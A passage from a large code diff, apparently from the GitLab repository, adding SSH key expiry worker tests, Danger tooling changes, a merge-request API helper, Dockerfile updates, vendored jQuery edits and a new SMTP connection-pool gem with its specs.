+ it 'does not update notified column' do
+ expect { worker.perform }.not_to change { expired_today.reload.expiry_notification_delivered_at }
+ end
+ end
+ end
+
+ context 'when key has expired in the past' do
+ let_it_be(:expired_past) { create(:key, expires_at: 1.day.ago, user: user) }
+
+ it 'does not update notified column' do
+ expect { worker.perform }.not_to change { expired_past.reload.expiry_notification_delivered_at }
+ end
+ end
+ end
+end
diff --git a/spec/workers/ssh_keys/expiring_soon_notification_worker_spec.rb b/spec/workers/ssh_keys/expiring_soon_notification_worker_spec.rb
new file mode 100644
index 00000000000..f9276c86cdf
--- /dev/null
+++ b/spec/workers/ssh_keys/expiring_soon_notification_worker_spec.rb
@@ -0,0 +1,66 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe SshKeys::ExpiringSoonNotificationWorker, type: :worker do
+ subject(:worker) { described_class.new }
+
+ it 'uses a cronjob queue' do
+ expect(worker.sidekiq_options_hash).to include(
+ 'queue' => 'cronjob:ssh_keys_expiring_soon_notification',
+ 'queue_namespace' => :cronjob
+ )
+ end
+
+ describe '#perform' do
+ let_it_be(:user) { create(:user) }
+
+ context 'with key expiring soon' do
+ let_it_be_with_reload(:expiring_soon) { create(:key, expires_at: 6.days.from_now, user: user) }
+
+ it 'invoke the notification service' do
+ expect_next_instance_of(Keys::ExpiryNotificationService) do |expiry_service|
+ expect(expiry_service).to receive(:execute)
+ end
+
+ worker.perform
+ end
+
+ it 'updates notified column' do
+ expect { worker.perform }.to change { expiring_soon.reload.before_expiry_notification_delivered_at }
+ end
+
+ include_examples 'an idempotent worker' do
+ subject do
+ perform_multiple(worker: worker)
+ end
+ end
+
+ context 'when feature is not enabled' do
+ before do
+ stub_feature_flags(ssh_key_expiration_email_notification: false)
+ end
+
+ it 'does not update notified column' do
+ expect { worker.perform }.not_to change { expiring_soon.reload.before_expiry_notification_delivered_at }
+ end
+ end
+ end
+
+ context 'when key has expired in the past' do
+ let_it_be(:expired_past) { create(:key, expires_at: 1.day.ago, user: user) }
+
+ it 'does not update notified column' do
+ expect { worker.perform }.not_to change { expired_past.reload.before_expiry_notification_delivered_at }
+ end
+ end
+
+ context 'when key is not expiring soon' do
+ let_it_be(:expires_future) { create(:key, expires_at: 8.days.from_now, user: user) }
+
+ it 'does not update notified column' do
+ expect { worker.perform }.not_to change { expires_future.reload.before_expiry_notification_delivered_at }
+ end
+ end
+ end
+end
diff --git a/spec/workers/todos_destroyer/destroyed_issuable_worker_spec.rb b/spec/workers/todos_destroyer/destroyed_issuable_worker_spec.rb
new file mode 100644
index 00000000000..6ccad25ad76
--- /dev/null
+++ b/spec/workers/todos_destroyer/destroyed_issuable_worker_spec.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe TodosDestroyer::DestroyedIssuableWorker do
+ let(:job_args) { [1, 'MergeRequest'] }
+
+ it 'calls the Todos::Destroy::DestroyedIssuableService' do
+ expect_next_instance_of(::Todos::Destroy::DestroyedIssuableService, *job_args) do |service|
+ expect(service).to receive(:execute)
+ end
+
+ described_class.new.perform(*job_args)
+ end
+end
diff --git a/tooling/danger/changelog.rb b/tooling/danger/changelog.rb
index 672d23d58e4..065c737050e 100644
--- a/tooling/danger/changelog.rb
+++ b/tooling/danger/changelog.rb
@@ -18,29 +18,35 @@ module Tooling
CHANGELOG_MODIFIED_URL_TEXT = "**CHANGELOG.md was edited.** Please remove the additions and create a CHANGELOG entry.\n\n"
CHANGELOG_MISSING_URL_TEXT = "**[CHANGELOG missing](https://docs.gitlab.com/ee/development/changelog.html)**:\n\n"
- OPTIONAL_CHANGELOG_MESSAGE = <<~MSG
- If you want to create a changelog entry for GitLab FOSS, run the following:
+ OPTIONAL_CHANGELOG_MESSAGE = {
+ local: "If this merge request [doesn't need a CHANGELOG entry](https://docs.gitlab.com/ee/development/changelog.html#what-warrants-a-changelog-entry), feel free to ignore this message.",
+ ci: <<~MSG
+ If you want to create a changelog entry for GitLab FOSS, run the following:
- #{CREATE_CHANGELOG_COMMAND}
+ #{CREATE_CHANGELOG_COMMAND}
- If you want to create a changelog entry for GitLab EE, run the following instead:
+ If you want to create a changelog entry for GitLab EE, run the following instead:
- #{CREATE_EE_CHANGELOG_COMMAND}
+ #{CREATE_EE_CHANGELOG_COMMAND}
- If this merge request [doesn't need a CHANGELOG entry](https://docs.gitlab.com/ee/development/changelog.html#what-warrants-a-changelog-entry), feel free to ignore this message.
- MSG
+ If this merge request [doesn't need a CHANGELOG entry](https://docs.gitlab.com/ee/development/changelog.html#what-warrants-a-changelog-entry), feel free to ignore this message.
+ MSG
+ }.freeze
REQUIRED_CHANGELOG_REASONS = {
db_changes: 'introduces a database migration',
feature_flag_removed: 'removes a feature flag'
}.freeze
- REQUIRED_CHANGELOG_MESSAGE = <<~MSG
- To create a changelog entry, run the following:
+ REQUIRED_CHANGELOG_MESSAGE = {
+ local: "This merge request requires a changelog entry because it [%<reason>s](https://docs.gitlab.com/ee/development/changelog.html#what-warrants-a-changelog-entry).",
+ ci: <<~MSG
+ To create a changelog entry, run the following:
- #{CREATE_CHANGELOG_COMMAND}
+ #{CREATE_CHANGELOG_COMMAND}
- This merge request requires a changelog entry because it [%<reason>s](https://docs.gitlab.com/ee/development/changelog.html#what-warrants-a-changelog-entry).
- MSG
+ This merge request requires a changelog entry because it [%<reason>s](https://docs.gitlab.com/ee/development/changelog.html#what-warrants-a-changelog-entry).
+ MSG
+ }.freeze
def required_reasons
[].tap do |reasons|
@@ -67,20 +73,20 @@ module Tooling
def modified_text
CHANGELOG_MODIFIED_URL_TEXT +
- format(OPTIONAL_CHANGELOG_MESSAGE, mr_iid: helper.mr_iid, mr_title: sanitized_mr_title)
+ (helper.ci? ? format(OPTIONAL_CHANGELOG_MESSAGE[:ci], mr_iid: helper.mr_iid, mr_title: sanitized_mr_title) : OPTIONAL_CHANGELOG_MESSAGE[:local])
end
def required_texts
required_reasons.each_with_object({}) do |required_reason, memo|
memo[required_reason] =
CHANGELOG_MISSING_URL_TEXT +
- format(REQUIRED_CHANGELOG_MESSAGE, reason: REQUIRED_CHANGELOG_REASONS.fetch(required_reason), mr_iid: helper.mr_iid, mr_title: sanitized_mr_title)
+ (helper.ci? ? format(REQUIRED_CHANGELOG_MESSAGE[:ci], reason: REQUIRED_CHANGELOG_REASONS.fetch(required_reason), mr_iid: helper.mr_iid, mr_title: sanitized_mr_title) : REQUIRED_CHANGELOG_MESSAGE[:local])
end
end
def optional_text
CHANGELOG_MISSING_URL_TEXT +
- format(OPTIONAL_CHANGELOG_MESSAGE, mr_iid: helper.mr_iid, mr_title: sanitized_mr_title)
+ (helper.ci? ? format(OPTIONAL_CHANGELOG_MESSAGE[:ci], mr_iid: helper.mr_iid, mr_title: sanitized_mr_title) : OPTIONAL_CHANGELOG_MESSAGE[:local])
end
private
diff --git a/tooling/danger/project_helper.rb b/tooling/danger/project_helper.rb
index 4458000261f..7aac0de0b6b 100644
--- a/tooling/danger/project_helper.rb
+++ b/tooling/danger/project_helper.rb
@@ -4,9 +4,11 @@ module Tooling
module Danger
module ProjectHelper
LOCAL_RULES ||= %w[
+ changelog
changes_size
commit_messages
database
+ datateam
documentation
duplicate_yarn_dependencies
eslint
@@ -20,7 +22,6 @@ module Tooling
CI_ONLY_RULES ||= %w[
ce_ee_vue_templates
- changelog
ci_templates
metadata
feature_flag
@@ -30,20 +31,25 @@ module Tooling
specs
].freeze
- MESSAGE_PREFIX = '==>'.freeze
+ MESSAGE_PREFIX = '==>'
# First-match win, so be sure to put more specific regex at the top...
CATEGORIES = {
- [%r{usage_data\.rb}, %r{^(\+|-).*\s+(count|distinct_count|estimate_batch_distinct_count)\(.*\)(.*)$}] => [:database, :backend],
+ [%r{usage_data\.rb}, %r{^(\+|-).*\s+(count|distinct_count|estimate_batch_distinct_count)\(.*\)(.*)$}] => [:database, :backend, :product_intelligence],
%r{\A(ee/)?config/feature_flags/} => :feature_flag,
%r{\A(ee/)?(changelogs/unreleased)(-ee)?/} => :changelog,
+ %r{\Adoc/development/usage_ping/dictionary\.md\z} => [:docs, :product_intelligence],
%r{\Adoc/.*(\.(md|png|gif|jpg))\z} => :docs,
%r{\A(CONTRIBUTING|LICENSE|MAINTENANCE|PHILOSOPHY|PROCESS|README)(\.md)?\z} => :docs,
%r{\Adata/whats_new/} => :docs,
+ %r{\A(
+ app/assets/javascripts/tracking\.js |
+ spec/frontend/tracking_spec\.js
+ )\z}x => [:frontend, :product_intelligence],
%r{\A(ee/)?app/(assets|views)/} => :frontend,
%r{\A(ee/)?public/} => :frontend,
%r{\A(ee/)?spec/(javascripts|frontend)/} => :frontend,
@@ -73,6 +79,7 @@ module Tooling
%r{\A(ee/)?db/(geo/)?(migrate|post_migrate)/} => [:database, :migration],
%r{\A(ee/)?db/(?!fixtures)[^/]+} => :database,
%r{\A(ee/)?lib/gitlab/(database|background_migration|sql|github_import)(/|\.rb)} => :database,
+ %r{\A(app/services/authorized_project_update/find_records_due_for_refresh_service)(/|\.rb)} => :database,
%r{\A(app/models/project_authorization|app/services/users/refresh_authorized_projects_service)(/|\.rb)} => :database,
%r{\A(ee/)?app/finders/} => :database,
%r{\Arubocop/cop/migration(/|\.rb)} => :database,
@@ -95,6 +102,17 @@ module Tooling
%r{\A(ee/)?spec/support/shared_contexts/features/} => :test,
%r{\A(ee/)?spec/support/helpers/features/} => :test,
+ %r{\A(ee/)?lib/gitlab/usage_data_counters/.*\.yml\z} => [:product_intelligence],
+ %r{\A(ee/)?config/metrics/((.*\.yml)|(schema\.json))\z} => [:product_intelligence],
+ %r{\A(ee/)?lib/gitlab/usage_data(_counters)?(/|\.rb)} => [:backend, :product_intelligence],
+ %r{\A(
+ lib/gitlab/tracking\.rb |
+ spec/lib/gitlab/tracking_spec\.rb |
+ app/helpers/tracking_helper\.rb |
+ spec/helpers/tracking_helper_spec\.rb |
+ lib/generators/rails/usage_metric_definition_generator\.rb |
+ spec/lib/generators/usage_metric_definition_generator_spec\.rb |
+ generator_templates/usage_metric_definition/metric_definition\.yml)\z}x => [:backend, :product_intelligence],
%r{\A(ee/)?app/(?!assets|views)[^/]+} => :backend,
%r{\A(ee/)?(bin|config|generator_templates|lib|rubocop)/} => :backend,
%r{\A(ee/)?spec/} => :backend,
@@ -106,6 +124,8 @@ module Tooling
%r{\A(ee/)?qa/} => :qa,
+ %r{\Aworkhorse/.*} => :workhorse,
+
# Files that don't fit into any category are marked with :none
%r{\A(ee/)?changelogs/} => :none,
%r{\Alocale/gitlab\.pot\z} => :none,
diff --git a/tooling/lib/tooling/kubernetes_client.rb b/tooling/lib/tooling/kubernetes_client.rb
index 35605fd493c..9bc5626db6b 100644
--- a/tooling/lib/tooling/kubernetes_client.rb
+++ b/tooling/lib/tooling/kubernetes_client.rb
@@ -22,6 +22,8 @@ module Tooling
def cleanup_by_created_at(resource_type:, created_before:, wait: true)
resource_names = resource_names_created_before(resource_type: resource_type, created_before: created_before)
+ return if resource_names.empty?
+
delete_by_exact_names(resource_type: resource_type, resource_names: resource_names, wait: wait)
end
diff --git a/tooling/lib/tooling/test_map_packer.rb b/tooling/lib/tooling/test_map_packer.rb
index 520d69610eb..d74edb9500f 100644
--- a/tooling/lib/tooling/test_map_packer.rb
+++ b/tooling/lib/tooling/test_map_packer.rb
@@ -2,7 +2,7 @@
module Tooling
class TestMapPacker
- SEPARATOR = '/'.freeze
+ SEPARATOR = '/'
MARKER = 1
def pack(map)
diff --git a/tooling/merge_request.rb b/tooling/merge_request.rb
new file mode 100644
index 00000000000..d0f32a611aa
--- /dev/null
+++ b/tooling/merge_request.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+require 'faraday'
+require 'faraday_middleware'
+
+module Tooling
+ class MergeRequest
+ GITLAB_API_URL_TEMPLATE = 'https://gitlab.com/api/v4/projects/%{project_path}/merge_requests'
+
+ def self.for(branch:, project_path:)
+ url = format(GITLAB_API_URL_TEMPLATE, { project_path: URI.encode_www_form_component(project_path) })
+
+ conn = Faraday.new(url) do |conn|
+ conn.request :json
+ conn.response :json, content_type: /\bjson$/
+ conn.adapter Faraday.default_adapter
+ end
+
+ response = conn.get do |req|
+ req.params[:source_branch] = branch
+ req.params[:order_by] = 'updated_at'
+ req.params[:sort] = 'desc'
+ end
+
+ new(response.body.first)
+ end
+
+ attr_reader :merge_request
+
+ def initialize(merge_request)
+ @merge_request = merge_request
+ end
+
+ def iid
+ merge_request['iid']
+ end
+ end
+end
diff --git a/tooling/merge_request_rspec_failure_rake_task.rb b/tooling/merge_request_rspec_failure_rake_task.rb
new file mode 100644
index 00000000000..02ac38bee69
--- /dev/null
+++ b/tooling/merge_request_rspec_failure_rake_task.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+require 'test_file_finder'
+require_relative './merge_request'
+
+module Tooling
+ class MergeRequestRspecFailureRakeTask < RSpec::Core::RakeTask
+ PROJECT_PATH = 'gitlab-org/gitlab'
+
+ def run_task(_verbose)
+ if pattern.empty?
+ puts "No rspec failures in the merge request."
+ return
+ end
+
+ super
+ end
+
+ def rspec_failures_on_merge_request
+ test_file_finder = TestFileFinder::FileFinder.new
+ test_file_finder.use TestFileFinder::MappingStrategies::GitlabMergeRequestRspecFailure.new(project_path: PROJECT_PATH, merge_request_iid: merge_request.iid)
+ test_file_finder.test_files
+ rescue TestFileFinder::TestReportError => e
+ abort e.message
+ end
+
+ private
+
+ def merge_request
+ @merge_request ||= Tooling::MergeRequest.for(branch: current_branch, project_path: PROJECT_PATH)
+ end
+
+ def current_branch
+ @current_branch ||= `git branch --show-current`.strip
+ end
+ end
+end
diff --git a/lib/quality/test_level.rb b/tooling/quality/test_level.rb
index ad9de067375..ad9de067375 100644
--- a/lib/quality/test_level.rb
+++ b/tooling/quality/test_level.rb
diff --git a/vendor/Dockerfile/Ruby-alpine.Dockerfile b/vendor/Dockerfile/Ruby-alpine.Dockerfile
index 0f748d84b5d..d115e7522b7 100644
--- a/vendor/Dockerfile/Ruby-alpine.Dockerfile
+++ b/vendor/Dockerfile/Ruby-alpine.Dockerfile
@@ -1,4 +1,4 @@
-FROM ruby:2.5-alpine
+FROM ruby:2.7-alpine
# Edit with nodejs, mysql-client, postgresql-client, sqlite3, etc. for your needs.
# Or delete entirely if not needed.
@@ -9,7 +9,7 @@ RUN bundle config --global frozen 1
WORKDIR /usr/src/app
-COPY Gemfile Gemfile.lock .
+COPY Gemfile Gemfile.lock /usr/src/app/
# Install build dependencies - required for gems with native dependencies
RUN apk add --no-cache --virtual build-deps build-base postgresql-dev && \
bundle install && \
@@ -24,4 +24,4 @@ COPY . .
# For Rails
ENV PORT 3000
EXPOSE 3000
-CMD ["bundle", "exec", "rails", "server"]
+CMD ["bundle", "exec", "rails", "server", "-b", "0.0.0.0"]
diff --git a/vendor/Dockerfile/Ruby.Dockerfile b/vendor/Dockerfile/Ruby.Dockerfile
index 289ed57bfa2..916e0dd99d3 100644
--- a/vendor/Dockerfile/Ruby.Dockerfile
+++ b/vendor/Dockerfile/Ruby.Dockerfile
@@ -1,4 +1,4 @@
-FROM ruby:2.5
+FROM ruby:2.7
# Edit with nodejs, mysql-client, postgresql-client, sqlite3, etc. for your needs.
# Or delete entirely if not needed.
diff --git a/vendor/assets/javascripts/jasmine-jquery.js b/vendor/assets/javascripts/jasmine-jquery.js
index 9b7b245009d..a1f1e892c57 100644
--- a/vendor/assets/javascripts/jasmine-jquery.js
+++ b/vendor/assets/javascripts/jasmine-jquery.js
@@ -33,7 +33,10 @@ WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
(function (root, factory) {
if (typeof module !== 'undefined' && module.exports) {
- factory(root, root.jasmine, require('jquery'));
+ // The line below is patched from jquery => jquery/dist/jquery
+ // in order to load a jQuery with ajax, so that this testing library
+ // doesn't break
+ factory(root, root.jasmine, require('jquery/dist/jquery'));
} else {
factory(root, root.jasmine, root.jQuery);
}
diff --git a/vendor/assets/javascripts/jquery.endless-scroll.js b/vendor/assets/javascripts/jquery.endless-scroll.js
index f022d9a5d06..fe0fe5b5a8e 100644
--- a/vendor/assets/javascripts/jquery.endless-scroll.js
+++ b/vendor/assets/javascripts/jquery.endless-scroll.js
@@ -19,7 +19,6 @@
* // using some custom options
* $(document).endlessScroll({
* fireOnce: false,
- * fireDelay: false,
* loader: "<div class=\"loading\"><div>",
* callback: function(){
* alert("test");
@@ -30,7 +29,6 @@
*
* bottomPixels integer the number of pixels from the bottom of the page that triggers the event
* fireOnce boolean only fire once until the execution of the current event is completed
- * fireDelay integer delay the subsequent firing, in milliseconds, 0 or false to disable delay
* loader string the HTML to be displayed during loading
* data string|function plain HTML data, can be either a string or a function that returns a string,
* when passed as a function it accepts one argument: fire sequence (the number
@@ -55,7 +53,6 @@
var defaults = {
bottomPixels : 50,
fireOnce : true,
- fireDelay : 150,
loader : "<br />Loading...<br />",
data : "",
insertAfter : "div:last",
@@ -102,21 +99,11 @@
data = typeof options.data == 'function' ? options.data.apply(this, [fireSequence]) : options.data;
if (data !== false) {
- $(options.insertAfter).after("<div id=\"endless_scroll_data\">" + data + "</div>");
- $("#endless_scroll_data").hide().fadeIn(250, function() {$(this).removeAttr("id");});
+ $(options.insertAfter).after("<div>" + data + "</div>");
options.callback.apply(this, [fireSequence]);
- if (options.fireDelay !== false || options.fireDelay !== 0) {
- $("body").after("<div id=\"endless_scroll_marker\"></div>");
- // slight delay for preventing event firing twice
- $("#endless_scroll_marker").fadeTo(options.fireDelay, 1, function() {
- $(this).remove();
- fired = false;
- });
- }
- else
- fired = false;
+ fired = false;
}
$("#endless_scroll_loader").remove();
diff --git a/vendor/gems/mail-smtp_pool/.gitignore b/vendor/gems/mail-smtp_pool/.gitignore
new file mode 100644
index 00000000000..1fbdf80cd36
--- /dev/null
+++ b/vendor/gems/mail-smtp_pool/.gitignore
@@ -0,0 +1,3 @@
+Gemfile.lock
+*.gem
+.bundle
diff --git a/vendor/gems/mail-smtp_pool/.gitlab-ci.yml b/vendor/gems/mail-smtp_pool/.gitlab-ci.yml
new file mode 100644
index 00000000000..56eff5b30a7
--- /dev/null
+++ b/vendor/gems/mail-smtp_pool/.gitlab-ci.yml
@@ -0,0 +1,29 @@
+workflow:
+ rules:
+ - if: $CI_MERGE_REQUEST_ID
+
+.rspec:
+ cache:
+ key: mail-smtp_pool-ruby
+ paths:
+ - vendor/gems/mail-smtp_pool/vendor/ruby
+ before_script:
+ - cd vendor/gems/mail-smtp_pool
+ - ruby -v # Print out ruby version for debugging
+ - gem install bundler --no-document # Bundler is not installed with the image
+ - bundle config set --local path 'vendor' # Install dependencies into ./vendor/ruby
+ - bundle install -j $(nproc)
+ script:
+ - bundle exec rspec
+
+rspec-2.6:
+ image: "ruby:2.6"
+ extends: .rspec
+
+rspec-2.7:
+ image: "ruby:2.7"
+ extends: .rspec
+
+rspec-3.0:
+ image: "ruby:3.0"
+ extends: .rspec
diff --git a/vendor/gems/mail-smtp_pool/Gemfile b/vendor/gems/mail-smtp_pool/Gemfile
new file mode 100644
index 00000000000..7f4f5e950d1
--- /dev/null
+++ b/vendor/gems/mail-smtp_pool/Gemfile
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+source 'https://rubygems.org'
+
+gemspec
diff --git a/vendor/gems/mail-smtp_pool/LICENSE b/vendor/gems/mail-smtp_pool/LICENSE
new file mode 100644
index 00000000000..e6de2f90864
--- /dev/null
+++ b/vendor/gems/mail-smtp_pool/LICENSE
@@ -0,0 +1,21 @@
+The MIT License (MIT)
+
+Copyright (c) 2016-2021 GitLab B.V.
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.
diff --git a/vendor/gems/mail-smtp_pool/README.md b/vendor/gems/mail-smtp_pool/README.md
new file mode 100644
index 00000000000..bdb2be97663
--- /dev/null
+++ b/vendor/gems/mail-smtp_pool/README.md
@@ -0,0 +1,57 @@
+# Mail::SMTPPool
+
+This gem is an extension to `Mail` that allows delivery of emails using an SMTP connection pool
+
+## Installation
+
+Add this line to your application's Gemfile:
+
+```ruby
+gem 'mail-smtp_pool'
+```
+
+And then execute:
+
+```shell
+bundle
+```
+
+Or install it yourself as:
+
+```shell
+gem install mail-smtp_pool
+```
+
+## Usage with ActionMailer
+
+```ruby
+# config/environments/development.rb
+
+Rails.application.configure do
+ ...
+
+ ActionMailer::Base.add_delivery_method :smtp_pool, Mail::SMTPPool
+
+ config.action_mailer.perform_deliveries = true
+ config.action_mailer.smtp_pool_settings = {
+ pool: Mail::SMTPPool.create_pool(
+ pool_size: 5,
+ pool_timeout: 5,
+ address: 'smtp.gmail.com',
+ port: 587,
+ domain: 'example.com',
+ user_name: '<username>',
+ password: '<password>',
+ authentication: 'plain',
+ enable_starttls_auto: true
+ )
+ }
+end
+```
+
+Configuration options:
+
+* `pool_size` - The maximum number of SMTP connections in the pool. Connections are created lazily as needed.
+* `pool_timeout` - The number of seconds to wait for a connection in the pool to be available. A `Timeout::Error` exception is raised when this is exceeded.
+
+This also accepts all options supported by `Mail::SMTP`. See https://www.rubydoc.info/gems/mail/2.6.1/Mail/SMTP for more information.
diff --git a/vendor/gems/mail-smtp_pool/lib/mail/smtp_pool.rb b/vendor/gems/mail-smtp_pool/lib/mail/smtp_pool.rb
new file mode 100644
index 00000000000..ab8a7652058
--- /dev/null
+++ b/vendor/gems/mail-smtp_pool/lib/mail/smtp_pool.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+require 'connection_pool'
+require 'mail/smtp_pool/connection'
+
+module Mail
+ class SMTPPool
+ POOL_DEFAULTS = {
+ pool_size: 5,
+ pool_timeout: 5
+ }.freeze
+
+ class << self
+ def create_pool(settings = {})
+ pool_settings = POOL_DEFAULTS.merge(settings)
+ smtp_settings = settings.reject { |k, v| POOL_DEFAULTS.keys.include?(k) }
+
+ ConnectionPool.new(size: pool_settings[:pool_size], timeout: pool_settings[:pool_timeout]) do
+ Mail::SMTPPool::Connection.new(smtp_settings)
+ end
+ end
+ end
+
+ def initialize(settings)
+ raise ArgumentError, 'pool is required. You can create one using Mail::SMTPPool.create_pool.' if settings[:pool].nil?
+
+ @pool = settings[:pool]
+ end
+
+ def deliver!(mail)
+ @pool.with { |conn| conn.deliver!(mail) }
+ end
+ end
+end
diff --git a/vendor/gems/mail-smtp_pool/lib/mail/smtp_pool/connection.rb b/vendor/gems/mail-smtp_pool/lib/mail/smtp_pool/connection.rb
new file mode 100644
index 00000000000..ab0d20153d8
--- /dev/null
+++ b/vendor/gems/mail-smtp_pool/lib/mail/smtp_pool/connection.rb
@@ -0,0 +1,60 @@
+# frozen_string_literal: true
+
+# A connection object that can be used to deliver mail.
+#
+# This is meant to be used in a pool so the main difference between this
+# and Mail::SMTP is that this expects deliver! to be called multiple times.
+#
+# SMTP connection reset and error handling is handled by this class and
+# the SMTP connection is not closed after a delivery.
+
+require 'mail'
+
+module Mail
+ class SMTPPool
+ class Connection < Mail::SMTP
+ def initialize(values)
+ super
+
+ @smtp_session = nil
+ end
+
+ def deliver!(mail)
+ response = Mail::SMTPConnection.new(connection: smtp_session, return_response: true).deliver!(mail)
+
+ settings[:return_response] ? response : self
+ end
+
+ def finish
+ finish_smtp_session if @smtp_session && @smtp_session.started?
+ end
+
+ private
+
+ def smtp_session
+ return start_smtp_session if @smtp_session.nil? || !@smtp_session.started?
+ return @smtp_session if reset_smtp_session
+
+ finish_smtp_session
+ start_smtp_session
+ end
+
+ def start_smtp_session
+ @smtp_session = build_smtp_session.start(settings[:domain], settings[:user_name], settings[:password], settings[:authentication])
+ end
+
+ def reset_smtp_session
+ !@smtp_session.instance_variable_get(:@error_occurred) && @smtp_session.rset.success?
+ rescue Net::SMTPError, IOError
+ false
+ end
+
+ def finish_smtp_session
+ @smtp_session.finish
+ rescue Net::SMTPError, IOError
+ ensure
+ @smtp_session = nil
+ end
+ end
+ end
+end
diff --git a/vendor/gems/mail-smtp_pool/mail-smtp_pool.gemspec b/vendor/gems/mail-smtp_pool/mail-smtp_pool.gemspec
new file mode 100644
index 00000000000..3d9036f19b1
--- /dev/null
+++ b/vendor/gems/mail-smtp_pool/mail-smtp_pool.gemspec
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+lib = File.expand_path('lib', __dir__)
+$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
+
+Gem::Specification.new do |spec|
+ spec.name = 'mail-smtp_pool'
+ spec.version = '0.1.0'
+ spec.authors = ['Heinrich Lee Yu']
+ spec.email = ['heinrich@gitlab.com']
+
+ spec.summary = 'Mail extension for sending using an SMTP connection pool'
+ spec.homepage = 'https://gitlab.com/gitlab-org/gitlab/-/tree/master/vendor/gems/mail-smtp_pool'
+ spec.metadata = { 'source_code_uri' => 'https://gitlab.com/gitlab-org/gitlab/-/tree/master/vendor/gems/mail-smtp_pool' }
+ spec.license = 'MIT'
+
+ spec.files = Dir['lib/**/*.rb']
+ spec.require_paths = ['lib']
+
+ # Please maintain alphabetical order for dependencies
+ spec.add_runtime_dependency 'connection_pool', '~> 2.0'
+ spec.add_runtime_dependency 'mail', '~> 2.7'
+
+ # Please maintain alphabetical order for dev dependencies
+ spec.add_development_dependency 'rspec', '~> 3.10.0'
+end
diff --git a/vendor/gems/mail-smtp_pool/spec/lib/mail/smtp_pool/connection_spec.rb b/vendor/gems/mail-smtp_pool/spec/lib/mail/smtp_pool/connection_spec.rb
new file mode 100644
index 00000000000..78426296406
--- /dev/null
+++ b/vendor/gems/mail-smtp_pool/spec/lib/mail/smtp_pool/connection_spec.rb
@@ -0,0 +1,93 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+describe Mail::SMTPPool::Connection do
+ let(:connection) { described_class.new({}) }
+ let(:mail) do
+ Mail.new do
+ from 'mikel@test.lindsaar.net'
+ to 'you@test.lindsaar.net'
+ subject 'This is a test email'
+ body 'Test body'
+ end
+ end
+
+ after do
+ MockSMTP.clear_deliveries
+ end
+
+ describe '#deliver!' do
+ it 'delivers mail using the same SMTP connection' do
+ mock_smtp = MockSMTP.new
+
+ expect(Net::SMTP).to receive(:new).once.and_return(mock_smtp)
+ expect(mock_smtp).to receive(:sendmail).twice.and_call_original
+ expect(mock_smtp).to receive(:rset).once.and_call_original
+
+ connection.deliver!(mail)
+ connection.deliver!(mail)
+
+ expect(MockSMTP.deliveries.size).to eq(2)
+ end
+
+ context 'when RSET fails' do
+ let(:mock_smtp) { MockSMTP.new }
+ let(:mock_smtp_2) { MockSMTP.new }
+
+ before do
+ expect(Net::SMTP).to receive(:new).twice.and_return(mock_smtp, mock_smtp_2)
+ end
+
+ context 'with an IOError' do
+ before do
+ expect(mock_smtp).to receive(:rset).once.and_raise(IOError)
+ end
+
+ it 'creates a new SMTP connection' do
+ expect(mock_smtp).to receive(:sendmail).once.and_call_original
+ expect(mock_smtp).to receive(:finish).once.and_call_original
+ expect(mock_smtp_2).to receive(:sendmail).once.and_call_original
+
+ connection.deliver!(mail)
+ connection.deliver!(mail)
+
+ expect(MockSMTP.deliveries.size).to eq(2)
+ end
+ end
+
+ context 'with an SMTP error' do
+ before do
+ expect(mock_smtp).to receive(:rset).once.and_raise(Net::SMTPServerBusy)
+ end
+
+ it 'creates a new SMTP connection' do
+ expect(mock_smtp).to receive(:sendmail).once.and_call_original
+ expect(mock_smtp).to receive(:finish).once.and_call_original
+ expect(mock_smtp_2).to receive(:sendmail).once.and_call_original
+
+ connection.deliver!(mail)
+ connection.deliver!(mail)
+
+ expect(MockSMTP.deliveries.size).to eq(2)
+ end
+
+ context 'and closing the old connection fails' do
+ before do
+ expect(mock_smtp).to receive(:finish).once.and_raise(IOError)
+ end
+
+ it 'creates a new SMTP connection' do
+ expect(mock_smtp).to receive(:sendmail).once.and_call_original
+ expect(mock_smtp_2).to receive(:sendmail).once.and_call_original
+
+ connection.deliver!(mail)
+ connection.deliver!(mail)
+
+ expect(MockSMTP.deliveries.size).to eq(2)
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/vendor/gems/mail-smtp_pool/spec/lib/mail/smtp_pool_spec.rb b/vendor/gems/mail-smtp_pool/spec/lib/mail/smtp_pool_spec.rb
new file mode 100644
index 00000000000..aa2a0e19ac8
--- /dev/null
+++ b/vendor/gems/mail-smtp_pool/spec/lib/mail/smtp_pool_spec.rb
@@ -0,0 +1,68 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+describe Mail::SMTPPool do
+ describe '.create_pool' do
+ it 'sets the default pool settings' do
+ expect(ConnectionPool).to receive(:new).with(size: 5, timeout: 5).once
+
+ described_class.create_pool
+ end
+
+ it 'allows overriding pool size and timeout' do
+ expect(ConnectionPool).to receive(:new).with(size: 3, timeout: 2).once
+
+ described_class.create_pool(pool_size: 3, pool_timeout: 2)
+ end
+
